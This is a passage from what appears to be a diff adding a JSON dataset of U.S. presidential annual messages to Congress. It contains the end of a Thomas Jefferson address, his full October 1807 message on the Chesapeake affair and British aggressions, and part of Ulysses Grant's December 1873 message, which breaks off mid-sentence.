by\nCongress under the power and accountability of the President toward the\nprice of New Orleans and other territories acquired, which, remaining\nuntouched, are still applicable to that object and go in diminution of\nthe sum to be funded for it.Should the acquisition of Louisiana be constitutionally confirmed and\ncarried into effect, a sum of nearly $13 millions will then be added to\nour public debt, most of which is payable after fifteen years, before\nwhich term the present existing debts will all be discharged by the\nestablished operation of the sinking fund. When we contemplate the\nordinary annual augmentation of impost from increasing population and\nwealth, the augmentation of the same revenue by its extension to the new\nacquisition, and the economies which may still be introduced into our\npublic expenditures, I can not but hope that Congress in reviewing\ntheir resources will find means to meet the intermediate interest of\nthis additional debt without recurring to new taxes, and applying to this\nobject only the ordinary progression of our revenue. Its extraordinary\nincrease in times of foreign war will be the proper and sufficient fund\nfor any measures of safety or precaution which that state of things may\nrender necessary in our neutral position.Remittances for the installments of our foreign debt having been found\npracticable without loss, it has not been thought expedient to use the\npower given by a former act of Congress of continuing them by reloans, and\nof redeeming instead thereof equal sums of domestic debt, although no\ndifficulty was found in obtaining that accommodation.The sum of $50 thousands appropriated by Congress for providing gun boats\nremains unexpended. The favorable and peaceable turn of affairs on the\nMississippi rendered an immediate execution of that law unnecessary, and\ntime was desirable in order that the institution of that branch of our\nforce might begin on models the most approved by experience. The same\nissue of events dispensed with a resort to the appropriation of $1.5\nmillions, contemplated for purposes which were effected by happier means.We have seen with sincere concern the flames of war lighted up again in\nEurope, and nations with which we have the most friendly and useful\nrelations engaged in mutual destruction. While we regret the miseries in\nwhich we see others involved, let us bow with gratitude to that kind\nProvidence which, inspiring with wisdom and moderation our late legislative\ncouncils while placed under the urgency of the greatest wrongs guarded us\nfrom hastily entering into the sanguinary contest and left us only to look\non and pity its ravages.These will be heaviest on those immediately engaged. Yet the nations\npursuing peace will not be exempt from all evil.In the course of this conflict let it be our endeavor, as it is our\ninterest and desire, to cultivate the friendship of the belligerent nations\nby every act of justice and of innocent kindness; to receive their armed\nvessels with hospitality from the distresses of the sea, but to administer\nthe means of annoyance to none; to establish in our harbors such a police\nas may maintain law and order; to restrain our citizens from embarking\nindividually in a war in which their country takes no part; to punish\nseverely those persons, citizens or alien, who shall usurp the cover of our\nflag for vessels not entitled to it, infecting thereby with suspicion those\nof real Americans and committing us into controversies for the redress of\nwrongs not our own; to exact from every nation the observance toward our\nvessels and citizens of those principles and practices which all civilized\npeople acknowledge; to merit the character of a just nation, and maintain\nthat of an independent one, preferring every consequence to insult and\nhabitual wrong. Congress will consider whether the existing laws enable us\nefficaciously to maintain this course with our citizens in all places and\nwith others while within the limits of our jurisdiction, and will give them\nthe new modifications necessary for these objects. Some contraventions of\nright have already taken place, both within our jurisdictional limits and\non the high seas. The friendly disposition of the Governments from whose\nagents they have proceeded, as well as their wisdom and regard for justice,\nleave us in reasonable expectation that they will be rectified and\nprevented in future, and that no act will be countenanced by them which\nthreatens to disturb our friendly intercourse.Separated by a wide ocean from the nations of Europe and from the political\ninterests which entangle them together, with productions and wants which\nrender our commerce and friendship useful to them and theirs to us, it can\nnot be the interest of any to assail us, nor ours to disturb them. We\nshould be most unwise, indeed, were we to cast away the singular blessings\nof the position in which nature has placed us, the opportunity she has\nendowed us with of pursuing, at a distance from foreign contentions, the\npaths of industry, peace, and happiness, of cultivating general friendship,\nand of bringing collisions of interest to the umpirage of reason rather\nthan of force.How desirable, then, must it be in a Government like ours to see its\ncitizens adopt individually the views, the interests, and the conduct which\ntheir country should pursue, divesting themselves of those passions and\npartialities which tend to lessen useful friendships and to embarrass and\nembroil us in the calamitous scenes of Europe. Confident, fellow citizens,\nthat you will duly estimate the importance of neutral dispositions toward\nthe observance of neutral conduct, that you will be sensible how much it is\nour duty to look on the bloody arena spread before us with commiseration\nindeed, but with no other wish than to see it closed, I am persuaded you\nwill cordially cherish these dispositions in all discussions among\nyourselves and in all communications with your constituents; and I\nanticipate with satisfaction the measures of wisdom which the great\ninterests now committed to you will give you an opportunity of providing,\nand myself that of approving and carrying into execution with the fidelity\nI owe to my country.TH. JEFFERSON", 
+    "name": "Thomas Jefferson"
+}
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+{
+    "date": "October 27, 1807", 
+    "speech": "The Senate and House of Representatives of the United States:Circumstances, fellow citizens, which seriously threatened the peace of our\ncountry have made it a duty to convene you at an earlier period than usual.\nThe love of peace so much cherished in the bosoms of our citizens, which\nhas so long guided the proceedings of their public councils and induced\nforbearance under so many wrongs, may not insure our continuance in the\nquiet pursuits of industry. The many injuries and depredations committed on\nour commerce and navigation upon the high seas for years past, the\nsuccessive innovations on those principles of public law which have been\nestablished by the reason and usage of nations as the rule of their\nintercourse and the umpire and security of their rights and peace, and all\nthe circumstances which induced the extraordinary mission to London are\nalready known to you.The instructions given to our ministers were framed in the sincerest spirit\nof amity and moderation. They accordingly proceeded, in conformity\ntherewith, to propose arrangements which might embrace and settle all the\npoints in difference between us, which might bring us to a mutual\nunderstanding on our neutral and national rights and provide for a\ncommercial intercourse on conditions of some equality. After long and\nfruitless endeavors to effect the purposes of their mission and to obtain\narrangements within the limits of their instructions, they concluded to\nsign such as could be obtained and to send them for consideration, candidly\ndeclaring to the other negotiators at the same time that they were acting\nagainst their instructions, and that their Government, therefore, could not\nbe pledged for ratification.Some of the articles proposed might have been admitted on a principle of\ncompromise, but others were too highly disadvantageous, and no sufficient\nprovision was made against the principal source of the irritations and\ncollisions which were constantly endangering the peace of the two nations.\nThe question, therefore, whether a treaty should be accepted in that form\ncould have admitted but of one decision, even had no declarations of the\nother party impaired our confidence in it. Still anxious not to close the\ndoor against friendly adjustment, new modifications were framed and further\nconcessions authorized than could before have been supposed necessary; and\nour ministers were instructed to resume their negotiations on these\ngrounds.On this new reference to amicable discussion we were reposing in\nconfidence, when on the 22nd day of June last by a formal order from a\nBritish admiral the frigate Chesapeake, leaving her port for a distant\nservice, was attacked by one of those vessels which had been lying in our\nharbors under the indulgences of hospitality, was disabled from proceeding,\nhad several of her crew killed and four taken away. On this outrage no\ncommentaries are necessary. Its character has been pronounced by the\nindignant voices of our citizens with an emphasis and unanimity never\nexceeded. I immediately, by proclamation, interdicted our harbors and\nwaters to all British armed vessels, forbade intercourse with them, and\nuncertain how far hostilities were intended, and the town of Norfolk,\nindeed, being threatened with immediate attack, a sufficient force was\nordered for the protection of that place, and such other preparations\ncommenced and pursued as the prospect rendered proper. An armed vessel of\nthe United States was dispatched with instructions to our ministers at\nLondon to call on that Government for the satisfaction and security\nrequired by the outrage. A very short interval ought now to bring the\nanswer, which shall be communicated to you as soon as received; then also,\nor as soon after as the public interests shall be found to admit, the\nunratified treaty and proceedings relative to it shall be made known to\nyou.The aggression thus begun has been continued on the part of the British\ncommanders by remaining within our waters in defiance of the authority of\nthe country, by habitual violations of its jurisdiction, and at length by\nputting to death one of the persons whom they had forcibly taken from on\nboard the Chesapeake. These aggravations necessarily lead to the policy\neither of never admitting an armed vessel into our harbors or of\nmaintaining in every harbor such an armed force as may constrain obedience\nto the laws and protect the lives and property of our citizens against\ntheir armed guests; but the expense of such a standing force and its\ninconsistence with our principles dispense with those courtesies which\nwould necessarily call for it, and leave us equally free to exclude the\nnavy, as we are the army, of a foreign power from entering our limits.To former violations of maritime rights another is now added of very\nextensive effect. The Government of that nation has issued an order\ninterdicting all trade by neutrals between ports not in amity with them;\nand being now at war with nearly every nation on the Atlantic and\nMediterranean seas, our vessels are required to sacrifice their cargoes at\nthe first port they touch or to return home without the benefit of going to\nany other market. Under this new law of the ocean our trade on the\nMediterranean has been swept away by seizures and condemnations, and that\nin other seas is threatened with the same fate.Our differences with Spain remain still unsettled, no measure having been\ntaken on her part since my last communications to Congress to bring them to\na close. But under a state of things which may favor reconsideration they\nhave been recently pressed, and an expectation is entertained that they may\nnow soon be brought to an issue of some sort. With their subjects on our\nborders no new collisions have taken place nor seem immediately to be\napprehended. To our former grounds of complaint has been added a very\nserious one, as you will see by the decree a copy of which is now\ncommunicated. Whether this decree, which professes to be conformable to\nthat of the French Government of November 21st, 1806, heretofore\ncommunicated to Congress, will also be conformed to that in its\nconstruction and application in relation to the United States had not\nbeen ascertained at the date of our last communications. These, however,\ngave reason to expect such a conformity.With the other nations of Europe our harmony has been uninterrupted, and\ncommerce and friendly intercourse have been maintained on their usual\nfooting.Our peace with the several states on the coast of Barbary appears as firm\nas at any former period and as likely to continue as that of any other\nnation.Among our Indian neighbors in the northwestern quarter some fermentation\nwas observed soon after the late occurrences, threatening the continuance\nof our peace. Messages were said to be interchanged and tokens to be\npassing, which usually denote a state of restless among them, and the\ncharacter of the agitators pointed to the sources of excitement. Measures\nwere immediately taken for providing against that danger; instructions were\ngiven to require explanations, and, with assurances of our continued\nfriendship, to admonish the tribes to remain quiet at home, taking no part\nin quarrels not belonging to them. As far as we are yet informed, the\ntribes in our vicinity, who are most advanced in the pursuits of industry,\nare sincerely disposed to adhere to their friendship with us and to their\npeace with all others, while those more remote do not present appearances\nsufficiently quiet to justify the intermission of military precaution on\nour part.The great tribes on our southwestern quarter, much advanced beyond the\nothers in agriculture and household arts, appear tranquil and identifying\ntheir views with ours in proportion to their advancement. With the whole of\nthese people, in every quarter, I shall continue to inculcate peace and\nfriendship with all their neighbors and perseverance in those occupations\nand pursuits which will best promote their own well-being.The appropriations of the last session for the defense of our sea port\ntowns and harbors were made under expectation that a continuance of our\npeace would permit us to proceed in that work according to our convenience.\nIt has been thought better to apply the sums then given toward the defense\nof New York, Charleston, and New Orleans chiefly, as most open and most\nlikely first to need protection, and to leave places less immediately in\ndanger to the provisions of the present session.The gun boats, too, already provided have on a like principle been chiefly\nassigned to New York, New Orleans, and the Chesapeake. Whether our movable\nforce on the water, so material in aid of the defensive works on the land,\nshould be augmented in this or any other form is left to the wisdom of the\nLegislature. For the purpose of manning these vessels in sudden attacks on\nour harbors it is a matter for consideration whether the sea men of the\nUnited States may not justly be formed into a special militia, to be called\non for tours of duty in defense of the harbors where they shall happen to\nbe, the ordinary militia of the place furnishing that portion which may\nconsist of landsmen.The moment our peace was threatened I deemed it indispensable to secure a\ngreater provision of those articles of military stores with which our\nmagazines were not sufficiently furnished. To have awaited a previous and\nspecial sanction by law would have lost occasions which might not be\nretrieved. I did not hesitate, therefore, to authorize engagements for such\nsupplements to our existing stock as would render it adequate to the\nemergencies threatening us, and I trust that the Legislature, feeling the\nsame anxiety for the safety of our country, so materially advanced by this\nprecaution, will approve, when done, what they would have seen so important\nto be done if then assembled. Expenses, also unprovided for, arose out of\nthe necessity of calling all our gun boats into actual service for the\ndefense of our harbors; all of which accounts will be laid before you.Whether a regular army is to be raised, and to what extent, must depend on\nthe information so shortly expected. In the mean time I have called on the\nStates for quotas of militia, to be in readiness for present defense, and\nhave, moreover, encouraged the acceptance of volunteers; and I am happy to\ninform you that these have offered themselves with great alacrity in every\npart of the Union. They are ordered to be organized and ready at a\nmoment's warning to proceed on any service to which they may be\ncalled, and every preparation within the Executive powers has been made to\ninsure us the benefit of early exertions.I informed Congress at their last session of the enterprises against the\npublic peace which were believed to be in preparation by Aaron Burr and his\nassociates, of the measures taken to defeat them and to bring the offenders\nto justice. Their enterprises were happily defeated by the patriotic\nexertions of the militia whenever called into action, by the fidelity of\nthe Army, and energy of the commander in chief in promptly arranging the\ndifficulties presenting themselves on the Sabine, repairing to meet those\narising on the Mississippi, and dissipating before their explosion plots\nengendering there. I shall think it my duty to lay before you the\nproceedings and the evidence publicly exhibited on the arraignment of the\nprincipal offenders before the circuit court of Virginia.You will be enabled to judge whether the defect was in the testimony, in\nthe law, or in the administration of the law; and wherever it shall be\nfound, the Legislature alone can apply or originate the remedy. The framers\nof our Constitution certainly supposed they had guarded as well their\nGovernment against destruction by treason as their citizens against\noppression under pretense of it, and if these ends are not attained it is\nof importance to inquire by what means more effectual they may be secured.The accounts of the receipts of revenue during the year ending on the 30th\nday of September last being not yet made up, a correct statement will be\nhereafter transmitted from the Treasury. In the mean time, it is\nascertained that the receipts have amounted to near $16 millions, which,\nwith the $5.5 millions in the Treasury at the beginning of the year, have\nenabled us, after meeting the current demands and interest incurred, to\npay more than $4 millions of the principal of our funded debt. These\npayments, with those of the preceding five and a half years, have\nextinguished of the funded debt $25.5 millions, being the whole which\ncould be paid or purchased within the limits of the law and of our\ncontracts, and have left us in the Treasury $8.5 millions.A portion of this sum may be considered as a commencement of accumulation\nof the surpluses of revenue which, after paying the installments of debt as\nthey shall become payable, will remain without any specific object. It may\npartly, indeed, be applied toward completing the defense of the exposed\npoints of our country, on such a scale as shall be adapted to our\nprinciples and circumstances. This object is doubtless among the first\nentitled to attention in such a state of our finances, and it is one which,\nwhether we have peace or war, will provide security where it is due.\nWhether what shall remain of this, with the future surpluses, may be\nusefully applied to purposes already authorized or more usefully to others\nrequiring new authorities, or how otherwise they shall be disposed of, are\nquestions calling for the notice of Congress, unless, indeed, they shall be\nsuperseded by a change in our public relations now awaiting the\ndetermination of others. Whatever be that determination, it is a great\nconsolation that it will become known at a moment when the supreme council\nof the nation is assembled at its post, and ready to give the aids of its\nwisdom and authority to whatever course the good of our country shall then\ncall us to pursue.Matters of minor importance will be the subjects of future communications,\nand nothing shall be wanting on my part which may give information or\ndispatch to the proceedings of the Legislature in the exercise of their\nhigh duties, and at a moment so interesting to the public welfare.TH. JEFFERSON", 
+    "name": "Thomas Jefferson"
+}
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+{
+    "date": "December 1, 1873", 
+    "speech": "To the Senate and House of Representatives:The year that has passed since the submission of my last message to\nCongress has, especially during the latter part of it, been an eventful one\nto the country. In the midst of great national prosperity a financial\ncrisis has occurred that has brought low fortunes of gigantic proportions;\npolitical partisanship has almost ceased to exist, especially in the\nagricultural regions; and, finally, the capture upon the high seas of a\nvessel bearing our flag has for a time threatened the most serious\nconsequences, and has agitated the public mind from one end of the country\nto the other. But this, happily, now is in the course of satisfactory\nadjustment, honorable to both nations concerned.The relations of the United States, however, with most of the other powers\ncontinue to be friendly and cordial. With France, Germany, Russia, Italy,\nand the minor European powers; with Brazil and most of the South American\nRepublics, and with Japan, nothing has occurred during the year to demand\nspecial notice. The correspondence between the Department of State and\nvarious diplomatic representatives in or from those countries is\ntransmitted herewith.In executing the will of Congress, as expressed in its joint resolution of\nthe 14th of February last, and in accordance with the provisions of the\nresolution, a number of \"practical artisans,\" of \"scientific men,\" and of\n\"honorary commissioners\" were authorized to attend the exposition at Vienna\nas commissioners on the part of the United States. It is believed that we\nhave obtained the object which Congress had in view when it passed the\njoint resolution--\"in order to enable the people of the United States to\nparticipate in the advantages of the International Exhibition of the\nProducts of Agriculture, Manufactures, and the Fine Arts to be held at\nVienna.\" I take pleasure in adding that the American exhibitors have\nreceived a gratifying number of diplomas and of medals.During the exposition a conference was held at Vienna for the purpose of\nconsultation on the systems prevailing in different countries for the\nprotection of inventions. I authorized a representative from the Patent\nOffice to be present at Vienna at the time when this conference was to take\nplace, in order to aid as far as he might in securing any possible\nadditional protection to American inventors in Europe. The report of this\nagent will be laid before Congress.It is my pleasant duty to announce to Congress that the Emperor of China,\non attaining his majority, received the diplomatic representatives of the\nWestern powers in person. An account of these ceremonies and of the\ninteresting discussions which preceded them will be found in the documents\ntransmitted herewith. The accompanying papers show that some advance,\nalthough slight, has been made during the past year toward the suppression\nof the infamous Chinese cooly trade. I recommend Congress to inquire\nwhether additional legislation be not needed on this subject.The money awarded to the United States by the tribunal of arbitration at\nGeneva was paid by Her Majesty's Government a few days in advance of the\ntime when it would have become payable according to the terms of the\ntreaty. In compliance with the provisions of the act of March 3, 1873, it\nwas at once paid into the Treasury, and used to redeem, so far as it might,\nthe public debt of the United States; and the amount so redeemed was\ninvested in a 5 per cent registered bond of the United States for\n$15,500,000, which is now held by the Secretary of State, subject to the\nfuture disposition of Congress.I renew my recommendation, made at the opening of the last session of\nCongress, that a commission be created for the purpose of auditing and\ndetermining the amounts of the several \"direct losses growing out of the\ndestruction of vessels and their cargoes\" by the Alabama, the Florida, or\nthe Shenandoah after leaving Melbourne, for which the sufferers have\nreceived no equivalent or compensation, and of ascertaining the names of\nthe persons entitled to receive compensation for the same, making the\ncomputations upon the basis indicated by the tribunal of arbitration at\nGeneva; and that payment of such losses be authorized to an extent not to\nexceed the awards of the tribunal at Geneva.By an act approved on the 14th day of February last Congress made provision\nfor completing, jointly with an officer or commissioner to be named by Her\nBritannic Majesty, the determination of so much of the boundary line\nbetween the territory of the United States and the possessions of Great\nBritain as was left uncompleted by the commissioners appointed under the\nact of Congress of August 11, 1856. Under the provisions of this act the\nnorthwest water boundary of the United States has been determined and\nmarked in accordance with the award of the Emperor of Germany. A protocol\nand a copy of the map upon which the line was thus marked are contained in\nthe papers submitted herewith.I also transmit a copy of the report of the commissioner for marking the\nnorthern boundary between the United States and the British possessions\nwest of the Lake of the Woods, of the operations of the commission during\nthe past season. Surveys have been made to a point 497 miles west of the\nLake of the Woods, leaving about 350 miles to be surveyed, the field work\nof which can be completed during the next season.The mixed commission organized under the provisions of the treaty of\nWashington for settling and determining the claims of citizens of either\npower against the other arising out of acts committed against their persons\nor property during the period between April 13, 1861, and April 9, 1865,\nmade its final award on the 25th day of September last. It was awarded that\nthe Government of the United States should pay to the Government of Her\nBritannic Majesty, within twelve months from the date of the award, the sum\nof $1,929,819 in gold. The commission disallowed or dismissed all other\nclaims of British subjects against the United States. The amount of the\nclaims presented by the British Government, but disallowed or dismissed, is\nunderstood to be about $93,000,000. It also disallowed all the claims of\ncitizens of the United States against Great Britain which were referred to\nit.I recommend the early passage of an act appropriating the amount necessary\nto pay this award against the United States.I have caused to be communicated to the Government of the King of Italy the\nthanks of this Government for the eminent services rendered by Count Corti\nas the third commissioner on this commission. With dignity, learning, and\nimpartiality he discharged duties requiring great labor and constant\npatience, to the satisfaction, I believe, of both Governments. I recommend\nlegislation to create a special court, to consist of three judges, who\nshall be empowered to hear and determine all claims of aliens upon the\nUnited States arising out of acts committed against their persons or\nproperty during the insurrection. The recent reference under the treaty of\nWashington was confined to claims of British subjects arising during the\nperiod named in the treaty; but it is understood that there are other\nBritish claims of a similar nature, arising after the 9th of April, 1865,\nand it is known that other claims of a like nature are advanced by citizens\nor subjects of other powers. It is desirable to have these claims also\nexamined and disposed of.Official information being received from the Dutch Government of a state of\nwar between the King of the Netherlands and the Sultan of Acheen, the\nofficers of the United States who were near the seat of the war were\ninstructed to observe an impartial neutrality. It is believed that they\nhave done so.The joint commission under the convention with Mexico of 1868, having again\nbeen legally prolonged, has resumed its business, which, it is hoped, may\nbe brought to an early conclusion. The distinguished representative of Her\nBritannic Majesty at Washington has kindly consented, with the approval of\nhis Government, to assume the arduous and responsible duties of umpire in\nthis commission, and to lend the weight of his character and name to such\ndecisions as may not receive the acquiescence of both the arbitrators\nappointed by the respective Governments.The commissioners appointed pursuant to the authority of Congress to\nexamine into the nature and extent of the forays by trespassers from that\ncountry upon the herds of Texas have made a report, which will be submitted\nfor your consideration.The Venezuelan Government has been apprised of the sense of Congress in\nregard to the awards of the joint commission under the convention of 25th\nApril, 1866, as expressed in the act of the 25th of February last.It is apprehended that that Government does not realize the character of\nits obligations under that convention. As there is reason to believe,\nhowever, that its hesitancy in recognizing them springs, in part at least,\nfrom real difficulty in discharging them in connection with its obligations\nto other governments, the expediency of further forbearance on our part is\nbelieved to be worthy of your consideration.The Ottoman Government and that of Egypt have latterly shown a disposition\nto relieve foreign consuls of the judicial powers which heretofore they\nhave exercised in the Turkish dominions, by organizing other tribunals. As\nCongress, however, has by law provided for the discharge of judicial\nfunctions by consuls of the United States in that quarter under the treaty\nof 1830, I have not felt at liberty formally to accept the proposed change\nwithout the assent of Congress, whose decision upon the subject at as early\na period as may be convenient is earnestly requested.I transmit herewith, for the consideration and determination of Congress,\nan application of the Republic of Santo Domingo to this Government to\nexercise a protectorate over that Republic.Since the adjournment of Congress the following treaties with foreign\npowers have been proclaimed: A naturalization convention with Denmark; a\nconvention with Mexico for renewing the Claims Commission; a convention of\nfriendship, commerce, and extradition with the Orange Free State, and a\nnaturalization convention with Ecuador.I renew the recommendation made in my message of December, 1870, that\nCongress authorize the Postmaster-General to issue all commissions to\nofficials appointed through his Department.I invite the earnest attention of Congress to the existing laws of the\nUnited States respecting expatriation and the election of nationality by\nindividuals. Many citizens of the United States reside permanently abroad\nwith their families. Under the provisions of the act approved February 10,\n1855, the children of such persons are to be deemed and taken to be\ncitizens of the United States, but the rights of citizenship are not to\ndescend to persons whose fathers never resided in the United States.It thus happens that persons who have never resided within the United\nStates have been enabled to put forward a pretension to the protection of\nthe United States against the claim to military service of the government\nunder whose protection they were born and have been reared. In some cases\neven naturalized citizens of the United States have returned to the land of\ntheir birth, with intent to remain there, and their children, the issue of\na marriage contracted there after their return, and who have never been in\nthe United States, have laid claim to our protection when the lapse of many\nyears had imposed upon them the duty of military service to the only\ngovernment which had ever known them personally.Until the year 1868 it was left, embarrassed by conflicting opinions of\ncourts and of jurists, to determine how far the doctrine of perpetual\nallegiance derived from our former colonial relations with Great Britain\nwas applicable to American citizens. Congress then wisely swept these\ndoubts away by enacting that--Any declaration, instruction, opinion,\norder, or decision of any officer of this Government which denies,\nrestricts, impairs, or questions the right of expatriation is inconsistent\nwith the fundamental principles of this Government. But Congress did not\nindicate in that statute, nor has it since done so, what acts are to be\ndeemed to work expatriation. For my own guidance in determining such\nquestions I required (under the provisions of the Constitution) the opinion\nin writing of the principal officer in each of the Executive Departments\nupon certain questions relating to this subject. The result satisfies me\nthat further legislation has become necessary. I therefore commend the\nsubject to the careful consideration of Congress, and I transmit herewith\ncopies of the several opinions of the principal officers of the Executive\nDepartments, together with other correspondence and pertinent information\non the same subject.The United States, who led the way in the overthrow of the feudal doctrine\nof perpetual allegiance, are among the last to indicate how their own\ncitizens may elect another nationality. The papers submitted herewith\nindicate what is necessary to place us on a par with other leading nations\nin liberality of legislation on this international question. We have\nalready in our treaties assented to the principles which would need to be\nembodied in laws intended to accomplish such results. We have agreed that\ncitizens of the United States may cease to be citizens and may voluntarily\nrender allegiance to other powers. We have agreed that residence in a\nforeign land, without intent to return, shall of itself work expatriation.\nWe have agreed in some instances upon the length of time necessary for such\ncontinued residence to work a presumption of such intent. I invite Congress\nnow to mark out and define when and how expatriation can be accomplished;\nto regulate by law the condition of American women marrying foreigners; to\nfix the status of children born in a foreign country of American parents\nresiding more or less permanently abroad, and to make rules for determining\nsuch other kindred points as may seem best to Congress.In compliance with the request of Congress, I transmitted to the American\nminister at Madrid, with instructions to present it to the Spanish\nGovernment, the joint resolution approved on the 3d of March last,\ntendering to the people of Spain, in the name and on the behalf of the\nAmerican people, the congratulations of Congress upon the efforts to\nconsolidate in Spain the principles of universal liberty in a republican\nform of government.The existence of this new Republic was inaugurated by striking the fetters\nfrom the slaves in Porto Rico. This beneficent measure was followed by the\nrelease of several thousand persons illegally held as slaves in Cuba. Next,\nthe Captain-General of that colony was deprived of the power to set aside\nthe orders of his superiors at Madrid, which had pertained to the office\nsince 1825. The sequestered estates of American citizens, which had been\nthe cause of long and fruitless correspondence, were ordered to be restored\nto their owners. All these liberal steps were taken in the face of a\nviolent opposition directed by the reactionary slave-holders of Havana, who\nare vainly striving to stay the march of ideas which has terminated slavery\nin Christendom, Cuba only excepted. Unhappily, however, this baneful\ninfluence has thus far succeeded in defeating the efforts of all\nliberal-minded men in Spain to abolish slavery in Cuba, and in preventing\nthe promised reform in that island. The struggle for political supremacy\ncontinues there.The proslavery and aristocratic party in Cuba is gradually arraigning\nitself in more and more open hostility and defiance of the home government,\nwhile it still maintains a political connection with the Republic in the\npeninsula; and although usurping and defying the authority of the home\ngovernment whenever such usurpation or defiance tends in the direction of\noppression or of the maintenance of abuses, it is still a power in Madrid,\nand is recognized by the Government. Thus an element more dangerous to\ncontinued colonial relations between Cuba and Spain than that which\ninspired the insurrection at Yara--an element opposed to granting any\nrelief from misrule and abuse, with no aspirations after freedom,\ncommanding no sympathies in generous breasts, aiming to rivet still\nstronger the shackles of slavery and oppression--has seized many of the\nemblems of power in Cuba, and, under professions of loyalty to the mother\ncountry, is exhausting the resources of the island, and is doing acts which\nare at variance with those principles of justice, of liberality, and of\nright which give nobility of character to a republic. In the interests of\nhumanity, of civilization, and of progress, it is to be hoped that this\nevil influence may be soon averted.The steamer Virginius was on the 26th day of September, 1870, duly\nregistered at the port of New York as a part of the commercial marine of\nthe United States. On the 4th of October, 1870, having received the\ncertificate of her register in the usual legal form, she sailed from the\nport of New York and has not since been within the territorial jurisdiction\nof the United States. On the 31st day of October last, while sailing under\nthe flag of the United States on the high seas, she was forcibly seized by\nthe Spanish gunboat Tornado, and was carried into the port of Santiago de\nCuba, where fifty-three of her passengers and crew were inhumanly, and, so\nfar at least as relates to those who were citizens of the United States,\nwithout due process of law, put to death.It is a well-established principle, asserted by the United States from the\nbeginning of their national independence, recognized by Great Britain and\nother maritime powers, and stated by the Senate in a resolution passed\nunanimously on the 16th of June, 1858, that--American vessels on the high\nseas in time of peace, bearing the American flag, remain under the\njurisdiction of the country to which they belong, and therefore any\nvisitation, molestation, or detention of such vessel by force, or by the\nexhibition of force, on the part of a foreign power is in derogation of the\nsovereignty of the United States. In accordance with this principle, the\nrestoration of the Virginius and the surrender of the survivors of her\npassengers and crew, and a due reparation to the flag, and the punishment\nof the authorities who had been guilty of the illegal acts of violence,\nwere demanded. The Spanish Government has recognized the justice of the\ndemand, and has arranged for the immediate delivery of the vessel, and for\nthe surrender of the survivors of the passengers and crew, and for a salute\nto the flag, and for proceedings looking to the punishment of those who may\nbe proved to have been guilty of illegal acts of violence toward citizens\nof the United States, and also toward indemnifying those who may be shown\nto be entitled to indemnity. A copy of a protocol of a conference between\nthe Secretary of State and the Spanish minister, in which the terms of this\narrangement were agreed to, is transmitted herewith.The correspondence on this subject with the legation of the United States\nin Madrid was conducted in cipher and by cable, and needs the verification\nof the actual text of the correspondence. It has seemed to me to be due to\nthe importance of the case not to submit this correspondence until the\naccurate text can be received by mail. It is expected shortly, and will be\nsubmitted when received.In taking leave of this subject for the present I wish to renew the\nexpression of my conviction that the existence of African slavery in Cuba\nis a principal cause of the lamentable condition of the island. I do not\ndoubt that Congress shares with me the hope that it will soon be made to\ndisappear, and that peace and prosperity may follow its abolition.The embargoing of American estates in Cuba, cruelty to American citizens\ndetected in no act of hostility to the Spanish Government, the murdering of\nprisoners taken with arms in their hands, and, finally, the capture upon\nthe high seas of a vessel sailing under the United States flag and bearing\na United States registry have culminated in an outburst of indignation that\nhas seemed for a time to threaten war. Pending negotiations between the\nUnited States and the Government of Spain on the subject of this capture, I\nhave authorized the Secretary of the Navy to put our Navy on a war footing,\nto the extent, at least, of the entire annual appropriation for that branch\nof the service, trusting to Congress and the public opinion of the American\npeople to justify my action.Assuming from the action of the last Congress in appointing a Committee on\nPrivileges and Elections to prepare and report to this Congress a\nconstitutional amendment to provide a better method of electing the\nPresident and Vice-President of the United States, and also from the\nnecessity of such an amendment, that there will be submitted to the State\nlegislatures for ratification such an improvement in our Constitution, I\nsuggest two others for your consideration:First. To authorize the Executive to approve of so much of any measure\npassing the two Houses of Congress as his judgment may dictate, without\napproving the whole, the disapproved portion or portions to be subjected to\nthe same rules as now, to wit, to be referred back to the House in which\nthe measure or measures originated, and, if passed by a two-thirds vote of\nthe two Houses, then to become a law without the approval of the President.\nI would add to this a provision that there should be no legislation by\nCongress during the last twenty-four hours of its sitting, except upon\nvetoes, in order to give the Executive an opportunity to examine and\napprove or disapprove bills understandingly.Second. To provide by amendment that when an extra session of Congress is\nconvened by Executive proclamation legislation during the continuance of\nsuch extra session shall be confined to such subjects as the Executive may\nbring before it from time to time in writing.The advantages to be gained by these two amendments are too obvious for me\nto comment upon them. One session in each year is provided for by the\nConstitution, in which there are no restrictions as to the subjects of\nlegislation by Congress. If more are required, it is always in the power of\nCongress, during their term of office, to provide for sessions at any time.\nThe first of these amendments would protect the public against the many\nabuses and waste of public moneys which creep into appropriation bills and\nother important measures passing during the expiring hours of Congress, to\nwhich otherwise due consideration can not be given.TREASURY DEPARTMENT.The receipts of the Government from all sources for the last fiscal year\nwere $333,738,204, and expenditures on all accounts $290,345,245, thus\nshowing an excess of receipts over expenditures of $43,392,959. But it is\nnot probable that this favorable exhibit will be shown for the present\nfiscal year. Indeed, it is very doubtful whether, except with great economy\non the part of Congress in making appropriations and the same economy in\nadministering the various Departments of Government, the revenues will not\nfall short of meeting actual expenses, including interest on the public\ndebt.I commend to Congress such economy, and point out two sources where It\nseems to me it might commence, to wit, in the appropriations for public\nbuildings in the many cities where work has not yet been commenced; in the\nappropriations for river and harbor improvement in those localities where\nthe improvements are of but little benefit to general commerce, and for\nfortifications.There is a still more fruitful source of expenditure, which I will point\nout later in this message. I refer to the easy method of manufacturing\nclaims for losses incurred in suppressing the late rebellion.I would not be understood here as opposing the erection of good,\nsubstantial, and even ornamental buildings by the Government wherever such\nbuildings are needed. In fact, I approve of the Government owning its own\nbuildings in all sections of the country, and hope the day is not far\ndistant when it will not only possess them, but will erect in the capital\nsuitable residences for all persons who now receive commutation for\nquarters or rent at Government expense, and for the Cabinet, thus setting\nan example to the States which may induce them to erect buildings for their\nSenators. But I would have this work conducted at a time when the revenues\nof the country would abundantly justify it.The revenues have materially fallen off for the first five months of the\npresent fiscal year from what they were expected to produce, owing to the\ngeneral panic now prevailing, which commenced about the middle of September\nlast. The full effect of this disaster, if it should not prove a \"blessing\nin disguise,\" is yet to be demonstrated. In either event it is your duty to\nheed the lesson and to provide by wise and well-considered legislation, as\nfar as it lies in your power, against its recurrence, and to take advantage\nof all benefits that may have accrued.My own judgment is that, however much individuals may have suffered, one\nlong step has been taken toward specie payments; that we can never have\npermanent prosperity until a specie basis is reached: and that a specie\nbasis can not be reached and maintained until our exports, exclusive of\ngold, pay for our imports, interest due abroad, and other specie\nobligations, or so nearly so as to leave an appreciable accumulation of the\nprecious metals in the country from the products of our mines.The development of the mines of precious metals during the past year and\nthe prospective development of them for years to come are gratifying in\ntheir 